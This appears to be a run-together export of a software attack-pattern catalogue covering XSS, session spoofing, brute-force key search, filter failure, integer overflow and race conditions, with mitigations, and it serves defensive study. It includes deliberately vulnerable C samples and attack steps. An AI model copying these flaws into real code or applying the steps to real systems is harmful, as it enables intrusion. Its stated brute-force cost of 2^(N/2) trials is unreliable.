285Targeted272Targeted59Targeted282Targeted275Targeted264Targeted270Targeted1More DetailedPenetrationHighMediumLowAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an attacker to tunnel through the application's elements and launch a XSS attack through other elements.
As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack.
Target client software must be a client that allows script execution based on scripts generated by remote hosts.
Very HighHighInjectionAPI Abuse
In this example, the attacker adds script to HTML tags other than <script> tags, when the victim's standard content is appended with a malicious script. For example a link to http://myfavoritewebsite/getMyHomePage/content?malciousscript.js
The victim clicks on the link, which directs them to their home page (so that the victim does not notice anything is amiss) and simultaneously executes a script on their machine.
Low → To achieve a redirection and use of less trusted source, an attacker can simply edit content such as XML payload or HTML files that are sent to client machine.
High → Exploiting a client side vulnerability to inject malicious scripts into the browser’s executable process.
Ability to include malicious script in document, e.g. HTML file, or XML document. Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine
Design: Use browser technologies that do not allow client side scripting.
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Perform input validation for all remote content.
Implementation: Perform output validation for all remote content.
Implementation: Disable scripting languages such as Javascript in browser
Implementation: Session tokens for specific host
Implementation: Service provider should not use the XMLHttpRequest method to create a local proxy for content from other sites, because the client will not be able to discern what content comes from which host.
Run Arbitrary CodeInformation Leakage tags. Instead, script can appear as part of another HTML tag, such as the image tag. The injection vector is
[Hoglund and McGraw 04]]]>
Malicious input delivered through standard document formats, e.g. XML document or HTML file to the client.
Varies with instantiation of attack pattern. In the case of HTML files they may not be visible to the end user via a browser.
Client software and its component libraries
Enables attacker to execute scripts to launch attacks on remote client machine and environment
80Targeted83Targeted84Secondary82Targeted348Targeted96Targeted20Targeted116Targeted184Secondary86Secondary350TargetedPenetrationMediumMediumLowAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The attacker leverages this capability to execute scripts to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The attacker must have the ability to inject script into script that is likely to be executed. If this is done, then the attacker can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts.
With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host.
Of course, these attacks are not solely limited to the server side, client side scripts like Ajax and client side Javascript can contain malicious scripts as well. In general all that is required is for there to be sufficient privileges to execute a script, but not protected against writing.
Target software must be able to execute scripts, and also allow attacker to write/upload script
HighHighInjectionAPI Abuse
The XSS script that is embeded in a given IMG tag can be manipulated to probe a different address on every click of the mouse or other motions that the Ajax application is aware of.
In addition the enumerations allow for the attacker to nest sequential logic in the attacks. While Ajax applications do not open up brand new attack vectors, the existing attack vectors are more than adequate to execute attacks, and now these attacks can be optimized to sequentially execute and enumerate host environments.]]>
Low → To load malicious script into open, e.g. world writable directory
Medium → Executing remote scripts on host and collecting output
Ability to deploy a custom script on host
Design: Use browser technologies that do not allow client side scripting.
Design: Utilize strict type, character, and encoding enforcement
Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from.
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Perform input validation for all remote content.
Implementation: Perform output validation for all remote content.
Implementation: Disable scripting languages such as Javascript in browser
Implementation: Session tokens for specific host
Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.
Implementation: Privileges are constrained, if a script is loaded, ensure system runs in chroot jail or other limited authority mode
Run Arbitrary CodePrivilege Escalation
“Attack Pattern: Embedding Scripts within Scripts
The technology that runs the Internet is diverse and complex. There are hundreds of development languages, compilers, and interpreters that can build and execute code. Every developer has a sense for only part of the overall technology. Investments in time and money are made into each particular technology. As these systems evolve, the need to maintain backward compatibility becomes paramount. In management speak, this is the need to capitalize on an existing software investment. This is one reason that some newer scripting languages have backward support for older scripting languages.
As a result of this rapid and barely controlled evolution, much of the technology found in the wild can embed or otherwise access other languages and technologies in some form. This adds multiple layers of complexity and makes keeping track of all the disparate (yet available) functionality difficult at best. Filtering rules and security assumptions get swamped by the flow of new stuff. Looking for unanticipated functionality forgotten in the nooks and crannies of a system is an excellent technique."
[Hoglund and McGraw 04]
Malicious input delivered through standard script page, e.g. ASP web page
Varies with instantiation of attack pattern. MAy contain network probe or attacks that run against or on host using host account permissions
Web server scripting host
Enables attacker to execute scripts on remote host
79Targeted276Targeted279Secondary284Secondary18SimilarPenetrationMediumHighLowAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
Determine the ciphertext and the encryption algorithm.
Perform an exhaustive brute force search of the keyspace, producing candidate plaintexts and observing if they make sense.
Ciphertext is known.
Encryption algorithm and key size are known.
LowLowBrute Force
In 1997 the original DES challenge used distributed net computing to brute force the encryption key and decrypt the ciphertext to obtain the original plaintext. Each machine was given its own section of the keyspace to cover. The ciphertext was decrypted in 96 days.
Low: Brute forcing encryption does not require much skill.
A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact requirements will depend
on the size of the brute force job and the time requirement for completion. Some brute forcing jobs may require grid or distributed computing (e.g. DES Challenge).
On average, for a binary key of size N, 2^(N/2) trials will be needed to find the key that would decrypt the ciphertext to obtain the original plaintext.
Obviously as N gets large the brute force approach becomes infeasible.
None. This attack happens offline.
Use commonly accepted algorithms and recommended key sizes. The key size used will depend on how important it is to keep the data confidential and for how long.
In theory a brute force attack performing an exhausitve keyspace search will always succeed, so the goal is to have computational security. Moore's law needs to be taken into account that suggests that computing resources double every eighteen months.
Information Leakage
Typically cryptography, if done right, will rarely be the weakest link in the system. Problems begin when people either decide to play cryptographers themselves and roll out custom crypto, use key sizes that are too small, develop their own cryptographic protocols (or misuse existing cryptographic protocols). There are some other things that can be done wrong, such as not using good sources of randomness when generating encryption keys and initialization vector values.
326Targeted49More DetailedAttacks on session IDs and resource IDs take advantage of the fact that some software accepts user input without verifying its authenticity. For example, a message queueing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or indeed the process that wrote the message to the queue are authentic and authorized to do so.
Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes "trust" other systems because they are behind a firewall. In a similar way servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Session IDs may be guessed due to insufficient randomness, poor protection (passed in the clear), lack of integrity (unsigned), or improperly correlation with access control policy enforcement points.
Exposed configuration and properties files that contain system passwords, database connection strings, and such may also give an attacker an edge to identify these identifiers.
The net result is that spoofing and impersonation is possible leading to an attacker's ability to break authentication, authorization, and audit controls on the system.Survey the application for Indicators of SusceptibilityUsing a variety of methods, until one is found that applies to the target system. the attacker probes for credentials, session tokens, or entry points that bypass credentials altogether.Spider all available pagesenv-WebAttack known bad interfacesenv-Web env-CommProtocol env-ClientServer env-LocalSession IDs are usedenv-Web env-Peer2Peer env-ClientServer env-CommProtocolOpen access points exist that use no user IDs or passwords, but determine authorization based on message contentenv-Web env-Peer2Peer env-CommProtocol env-ClientServer env-LocalSession IDs are identifiableOpen channels are availableMonitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.Actively monitor the application and either deny or redirect requests from origins that appear to be automated.Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).Fetch samplesAn attacker fetches many samples of a session ID. This may be through legitimate access (logging in, legitimate connections, etc) or just systematic probing.An attacker makes many anonymous connections and records the session IDs assigned.env-Web env-Peer2Peer env-CommProtocol env-ClientServerAn attacker makes authorized connections and records the session tokens or credentials issued.env-Web env-Peer2Peer env-CommProtocol env-ClientServerAn attacker gains access to (legitimately or illegitimately) a nearby system (e.g., in the same operations network, DMZ, or local network) and makes a connections from it, attempting to gain the same privileges as a trusted system.env-Peer2Peer env-CommProtocol env-ClientServerTrust in the system is based on IP address, MAC address, network locality, or other general network characteristic.env-CommProtocol env-ClientServer env-Peer2PeerWeb applications use session IDsenv-WebNetwork systems issue session IDs or connection IDsenv-CommProtocol env-ClientServer env-Peer2PeerSystems or applications grant trust based on logical or physical network locality.Session identifiers successfully spoofedNo session IDs can be found or exploitedMonitor logs for unusual amounts of invalid sessions.Monitor logs for unusual amounts of invalid connections or invalid requests from unauthorized hosts.ImpersonateAn attacker can use successful experiments to impersonate an authorized user or systemAnalyze logs for
users or systems that are connecting from unexpected
sources.Analyze logs for
users or systems successfully requesting or performing unexpected
actions.If heuristics are
sufficiently reliable, disconnect hosts or users that appear to be
unauthorized impersonations.SpoofingBad data can be injected into the system by an attacker.Unauthorized data is injected into an application.Apply heuristic evaluation to input data. This can include validating source addresses, user names, ACLs or other data that indicates authorization. This need not be done inline at the time the data is processed, but can be done after the processing has occurred to detect attack.Apply transaction-based logic to systems whose initial authorization cannot be better controlled. Roll back transactions that are subsequently determined to be fraudulent or illegitimate.
Server software must rely on weak session IDs proof and/or verification schemes
HighHighSpoofingAPI AbuseInjection
Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an attacker to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an attacker to exploit session IDs.
A brute force attack involves an attacker repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an attacker can retry several hundred or thousand request with little to no issue on their side.
The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The attacker can then use these variables and access the application.
Low → To achieve a direct connection with the weak or non-existent server session access control, and pose as an authorized user
Ability to deploy software on network. Ability to communicate synchronously or asynchronously with server
Design: utilize strong federated identity such as SAML to encrypt and sign identity tokens in transit.
Implementation: Use industry standards session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf.
Implementation: If the session identifier is used for authentication, such as in the so-called single sign on use cases, then ensure that it is protected at the same level of assurance as authentication tokens.
Implementation: If the web or application server supports it, then encrypting and/or signing the session ID (such as cookie) can protect the ID if intercepted.
Design: Use strong session identifiers that are protected in transit and at rest.
Implementation: Utilize a session timeout for all sessions, for example 20 minutes. If the user does not explicitly logout, the server terminates their session after this period of inactivity. If the user logs back in then a new session key is generated.
Implementation: Verify of authenticity of all session IDs at runtime.
Privilege EscalationInformation LeakageData Modification
“Attack Pattern: Session ID, Resource ID, and Blind Trust
When session and resource IDs are simple and available, attackers can use them to their advantage. Many schemes are so simple that pasting in another known ID in a message stream works.
[Hoglund and McGraw 04]
Malicious input delivered through standard service calls, e.g. FTP or posting a message to a message queue.
Varies with instantiation of attack pattern. The main goal is so spoof or impersonate a legitimate user.
Client machine and client network (e.g. Intranet)
Enables attacker to impersonate another user and access commands and data (and log behavior to audit logs) on their behalf.
290Targeted302Targeted346Targeted539Secondary6Targeted384SecondaryPenetrationHighHighLowClient-Servern-TierSOAAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client.
An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client.
There are numerous variations of this type of attack.
Server software must rely on client side formatted and validated values, and not re-inforce these checks on the server side.
HighHighSpoofingProtocol Manipulation
Web applications may use Javascript to perform client side validation, request encoding/formatting, and other security functions, which provides some usability benefits and eliminates some client-server roundtripping. However, the web server cannot assume that the requests it receives have been subject to those validations, because an attacker can use an alternate method for crafting the HTTP Request and submit data that contains poisoned values designed to spoof a user and/or get the web server to disclose information.
Web 2.0 style applications may be particularly vulnerable because they in large part rely on existing infrastructure which provides scalability without the ability to govern the clients. Attackers identify vulnerabilities that either assume the client side is responsible for some security services (without the requisite ability to ensure enforcement of these checks) and/or the lack of a hardened, default deny server configuration that allows for an attacker probing for weaknesses in unexpected ways. Client side validation, request formatting and other services may be performed, but these are strictly usability enhancements not security enhancements.
Many web applications use client side scripting like Javascript to enforce authentication, authorization, session state and other variables, but at the end of day they all make requests to the server. These client side checks may provide usability and performance gains, but they lack integrity in terms of the http request. It is possible for an attacker to post variables directly to the server without using any of the client script security checks and customize the patterns to impersonate other users or probe for more information.
Many message oriented middleware systems like MQ Series are rely on information that is passed along with the message request for making authorization decisions, for example what group or role the request should be passed. However, if the message server does not or cannot authenticate the authorization information in the request then the server's policy decisions about authorization are trivial to subvert because the client process can simply elevate privilege by passing in elevated group or role information which the messgae server accepts and acts on.
Medium → The attacker must have fairly detailed knowledge of the syntax and semantics of client/server communications protocols and grammars
Ability to communicate synchronously or asynchronously with server
Design: Ensure that client process and/or message is authenticated so that anonymous communications and/or messages are not accepted by the system.
Design: Do not rely on client validation or encoding for security purposes.
Design: Utilize digital signatures to increase authentication assurance.
Design: Utilize two factor authentication to increase authentication assurance.
Implementation: Perform input validation for all remote content.
Run Arbitrary CodePrivilege EscalationInformation Leakage
“Attack Pattern: Make the Client Invisible
"Remove the client from the communications loop by talking directly with the server. Explore to determine what the server will and will not accept as input. Masquerade as the client.
[Hoglund and McGraw 04]
290Targeted287Targeted20Secondary200SecondaryPenetrationHighHighLowClient-Servern-TierAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attacker's program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
The target software must consume files.
The attacker must have access to modify files that the target software will consume.
Very HighHighInjectionAPI Abuse
PHP is a very popular web server. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the attacker can directly access and execute them through a browser. This vulnerability allows remote attackers to execute arbitrary code on the system, and can result in the attacker being able to erase intrusion evidence from system and application logs.
Reference - http://www.owasp.org/index.php/File_System
Medium
Design: Enforce principle of least privilege
Design: Validate all input for content including files. Ensure that if files and remote content must be accepted that once accepted, they are placed in a sandbox type location so that lower assurance clients cannot write up to higher assurance processes (like Web server processes for example)
Design: Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution.
Design: Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to server host.
Implementation: Virus scanning on host
Implementation: Host integrity monitoring for critical files, directories, and processes. The goal of host integrity monitoring is to be aware when a security issue has occurred so that incident response and other forensic activities can begin.
Run Arbitrary Code
“Attack Pattern: File System Function Injection, Content Based
A protocol header or snippet of code embedded in a media file is used in a trusted function call when the file is opened by the client. Examples include music files such as MP3, archive files such as ZIP and TAR, and more complex files such as PDF and Postscript files. Common targets for this attack are Microsoft Word and Excel files, most often delivered as e-mail attachments.
An attacker typically makes use of relative paths in ZIP, RAR, TAR archive, and decompresses to get to parent directories."
[Hoglund and McGraw 04]
Payload delivered through standard communication protocols.
Command(s) executed directly on host filesystem
Client machine and client network
Enables attacker to execute server side code with any commands that the program owner has privileges to.
77Targeted23Targeted22TargetedExploitationHighHighHighAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. lets the user input into the system unfiltered).
SurveyThe attacker surveys the target application, possibly as a valid and authenticated userSpidering web sites for inputs that involve potential filteringenv-WebBrute force guessing of filtered inputsenv-AllSoftware messages (e.g., "the following characters are not allowed...") indicate that filtered inputs are present in the software. (env-Web env-ClientServerApplication uses predefined inputs (e.g., drop-down lists, radio buttons, selection lists, etc.)env-Web env-ClientServer env-Local env-EmbeddedManaged code (e.g., .NET, Java) is likely, based on URLs.env-WebManaged code (e.g., .NET, Java) is likely, based on files found in software.env-ClientServer env-Local env-Embedded env-Peer2Peer env-CommProtocolJava code is likely, based on standard disclaimers (e.g., "This software contains Java from Sun...."). Such declarations are frequent on commercial software that is based on Java.env-Embedded env-Local env-ClientServerJava code is likely, based on one of the other indicators, but it could contain Java Native Interface (JNI) code. This is indicated by the inclusion of DLLs or equivalent binary object code with Java code.env-Embedded env-Local env-ClientServerAttempt injections
Try to feed overly long data to the system. This can be done manually or a dynamic tool (black box) can be used to automate this. An attacker can also use a custom script for that purpose.
Brute force attack through black box penetration test tool.env-Web env-ClientServer env-CommProtocol env-Peer2PeerFuzzing of communications protocolsenv-CommProtocol env-Peer2Peer env-ClientServerManual testing of possible inputs with attack data.env-AllUnexpected output from the application.No unexpected output from the application.Monitor and analyze logs for failures that exceed common usage sizes. For example, if typical transactions, even normal failed transactions, rarely exceed 250 characters, monitor logs for all attempts that contain 250 or more characters. In the event of successful exploitation, there may actually be no useful log. But an attacker's experiments will likely show up, giving clues to the ultimate attack.Disconnect or block connections from systems or users that exceed acceptable heuristics for normal transaction sizes.Monitor responses
Watch for any indication of failure occurring. Carefully watch to see what happened when filter failure occurred. Did the data get in?
Boron tagging. Choose clear attack inputs that are easy to notice in output. In binary this is often 0xa5a5a5a5 (alternating 1s and 0s). Another obvious tag value is all zeroes, but it is not always obvious what goes wrong if the null values get into the data.env-AllCheck Log files. An attacker with access to log files can look at the outcome of bad input.env-Local env-EmbeddedPrevent access to log files that contain error output.Prevent access to and/or sanitize all error output.Abuse the system through filter failureAn attacker writes a script to consistently induce the filter failure. DoS through filter failure. The attacker causes the system to crash or stay down because of its failure to filter properly.env-AllMalicious code execution. An attacker introduces a malicious payload and executes arbitrary code on the target system.env-AllAn attacker can use the filter failure to introduce malicious data into the system and leverage a subsequent SQL injection, Cross Site Scripting, Command Injection or similar weakness if it exists.env-AllFailure mode of the software (perhaps as a safety mechanism) includes exiting or ceasing to respond.env-AllFailures do not involve stopping services, rejecting inputs or connections, and do not affect other simultaneous users of the software.env-AllAttacker-supplied code is executed on the target system.The software stops responding for at least two orders of magnitude longer than the input takes to send. (e.g., 0.1s to send input induces at least a 10 second period non-responsiveness).Non-response by an attacker's input has an impact on the quality of service of other simultaneous users of the software.Monitor software response time regularly, and react to unexpected variations.Execute filtering modules with minimal privileges.Execute filtering modules in operating system "sandboxes" or similar containers.Ability to control the length of data passed to an active filter.HighHighInjectionAttack Example: Filter Failure in Taylor UUCP Daemon
Sending in arguments that are too long to cause the filter to fail open is one instantiation of the filter failure attack. The Taylor UUCP daemon is designed to remove hostile arguments before they can be executed. If the arguments are too long, however, the daemon fails to remove them. This leaves the door open for attack.A filter is used by a web application to filter out characters that may allow the input to jump from the data plane to the control plane when data is used in a SQL statement (chaining this attack with the SQL injection attack). Leveraging a buffer overflow the attacker makes the filter fail insecurely and the tainted data is permitted to enter unfiltered into the system, subsequently causing a SQL injection.
Audit Truncation and Filters with Buffer Overflow. Sometimes very large transactions can be used to destroy a log file or cause partial logging failures. In this kind of attack, log processing code might be examining a transaction in real-time processing, but the oversized transaction causes a logic branch or an exception of some kind that is trapped. In other words, the transaction is still executed, but the logging or filtering mechanism still fails. This has two consequences, the first being that you can run transactions that are not logged in any way (or perhaps the log entry is completely corrupted). The second consequence is that you might slip through an active filter that otherwise would stop your attack.Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS.
High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.
Try to feed very long data as input to the program and watch for any indication that a failure has occurred. Then see if input has been admitted into the system.
Some dynamic analysis tools may be helpful here to determine whether failure can be induced by feeding overly long inputs strings into the system.
Many exceptions are thrown by the application's filter modules in a short period of time. Check the logs. See if the probes are coming from the same IP address.
An attacker may temporally space out their probes.
An attacker may perform probes from different IP addresses.
Make sure that ANY failure occurring in the filtering or input validation routine is properly handled and that offending input is NOT allowed to go through. Basically make sure that the vault is closed when failure occurs.
Pre-design: Use a language or compiler that performs automatic bounds checking.
Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.
Operational: Use OS-level preventative functionality. Not a complete solution.
Design: Use an abstraction library to abstract away risky APIs. Not a complete solution.
Run Arbitrary CodePrivilege EscalationDenial of Service Web form, URL, File, Command line, Network socket, etc.
All of the data that just got into the system unfiltered becomes the payload.
Since the input enters the system effectively unfiltered, it may be dangerous if used in a SQL statement (i.e. SQL injection), as part of the command executed on the target system (i.e. command injection), as part of the reflection API (i.e. reflection injection), placed in logs (i.e. log injection), or perhaps to overflow another buffer in the system and give the attacker ability to execute arbitrary code. A subsequent buffer overflow may not even be required for that as the original one may be leveraged if the attacker gets lucky, that is the payload is activated in the filter itself, which also becomes the activation zone.
Since no input validation is effectively performed in this situation, the impact of the attack may be a complete compromise of confidentiality, integrity, accountability and availability services.
120Targeted119Targeted118Targeted74Targeted20Targeted100Occasionally Follows
Input validation and filtering logic should fail securely (vault doors are closed)
Failing Securely
All input should be treated as rejected by default, unless explicitly allowed by the filter. Thus if the filter fails before "blessing" the data, it will be rejected.PenetrationMediumHighMediumAllAllAllAllCC++G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Buffer ErrorsThis attack attempts to trigger and exploit a deadlock condition in the target software to cause a denial of service. A deadlock can occur when two or more competing actions are waiting for each other to finish, and thus neither ever does. Deadlock condition are not easy to detect.The attacker initiates an exploratory phase to get familiar with the system.The attacker triggers a first action (such as holding a resource) and initiates a second action which will wait for the first one to finish.If the target program has a deadlock condition, the program waits indefinitevely resulting in a denial of service.The target host has a deadlock condition. There are four conditions for a deadlock to occur, known as the Coffman conditions (See reference, Wikipedia)The target host exposes an API to the user.HighLowAnalysisAPI AbuseAn example of a deadlock which may occur in database products is the following. Client applications using the database may require exclusive access to a table, and in order to gain exclusive access they ask for a lock. If one client application holds a lock on a table and attempts to obtain the lock on a second table that is already held by a second client application, this may lead to deadlock if the second application then attempts to obtain the lock that is held by the first application (Source: Wikipedia, http://en.wikipedia.org/wiki/Deadlock)Medium/High: This type of attack may be sophisticated and require knowledge about the system's resources and APIs.The attacker can probe by trying to hold resources and call APIs which are directly using the same resources.The attacker may try to find actions (threads, processes) competing for the same resources.Use known algorithm to avoid deadlock condition (for instance non-blocking synchronization algorithms).For competing actions use well known libraries which implement synchronization.Denial of Service412Secondary567SecondaryExploitationLowLowHighAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Unrestricted Critical Resource LockDeadlock, http://en.wikipedia.org/wiki/DeadlockThis attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.The first step is exploratory meaning the attacker looks for an integer variable that he can control.The attacker finds an integer variable that he can write into or manipulate and try to get the value of the integer out of the possible range. The integer variable is forced to have a value out of range which set its final value to an unexpected value.The target host acts on the data and unexpected behaviour may happen.The attacker can manipulate the value of an integer variable utilized by the target host.The target host does not do proper range checkingon the variable before utilizing it.When the integer variable is incremented or decremented to an out of range value, it gets a very different value (e.g. very small or negative number)HighHighModification of ResourcesInjectionAPI AbuseAnalysisInteger overflow in the ProcAuWriteElement function in server/dia/audispatch.c in Network Audio System (NAS) before 1.8a SVN 237 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a large max_samples value.CVE-2007-1544The following code illustrates an integer overflow. The declaration of total integer as "unsigned short int" assumes that the length of the first and second arguments fits in such an integer. From "Secure Coding in C and C++" by Robert C. Seacord. Page 152, Figure 5-1
include <stdlib.h>
include <string.h>
include <stdio.h>
int main (int argc, char *const *argv)
{
if (argc !=3){
printf("Usage: prog_name <string1> <string2>\n");
exit(-1);
}
unsigned short int total;
total = strlen(argv[1])+strlen(argv[2])+1;
char * buff = (char *)malloc(total);
strcpy(buff, argv[1]);
strcpy(buff, argv[2]);
}
//Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&tID=1511
Low : An attacker can simply overflow an integer by inserting an out of range value.
High : Exploiting a buffer overflow by injecting malicious code into the stack of a software system or even the heap can require a higher skill level.Vulnerability testing tool can be used to probe for integer overflow (e.g. fuzzer).Use a language or compiler that performs automatic bounds checking.Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as integer overflow.Use an abstraction library to abstract away risky APIs. Not a complete solution.Always do bound checking before consuming user input data.Data ModificationPrivilege EscalationRun Arbitrary CodeInformation LeakageDenial of ServiceAn integer overflow condition exists when an integer, which has not been properly sanity checked is used in the determination of an offset or size for memory allocation, copying, concatenation, or similarly. If the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value.The user supplied data.The integer overrun by the attacker.When the function use the integer as offset, the offset may be out of the expected range which may lead to unexpected behavior such as issues of availability.The most common are issues of availability. In some situation, an integer oveflow can turn out to be an exploitable buffer overflow, then the attacker may be able to run arbitrary code on the target host.190Targeted128Targeted120Targeted122Secondary196SecondaryReluctance to TrustExploitationLowMediumHighAllAllAllAllJ. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002.CWE – Integer overflow (wrap or wraparound)Integer overflow, Secure Software - http://www.owasp.org/index.php/Integer_overflowSAMATE : samate.nist.govThis attack targets a race condition occurring when multiple processes access and manipulate the same resource concurrently and the outcome of the execution depends on the particular order in which the access takes place. The attacker can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance a race condition can occur while accessing a file, the attacker can trick the system by replacing the original file with his version and cause the system to read the malicious file.The attacker explores to gauge what level of access he has.The attacker gains access to a resource on the target host. The attacker modifies the targeted resource. The resource's value is used to determine the next normal execution action.The resource is modified/checked concurrently by multiple processes. By using one of the processes, the attacker is able to modify the value just before it is consumed by a different process. A race condition occurs and is exploited by the Attacker to abuse the target host.A resource is accessed/modified concurrently by multiple processes such that a race condition exists.The attacker has the ability to modify the resource.HighHighTime and StateModification of ResourcesThe Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client.CVE-2007-1057The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name.
include <sys/types.h>
include <fcntl.h>
include <unistd.h>
define FILE "/tmp/myfile"
define UID 100
void test(char *str)
{
int fd;
fd = creat(FILE, 0644);
if(fd == -1)
return;
chown(FILE, UID, -1); /* BAD */
close(fd);
}
int main(int argc, char **argv)
{
char *userstr;
if(argc > 1) {
userstr = argv[1];
test(userstr);
}
return 0;
}
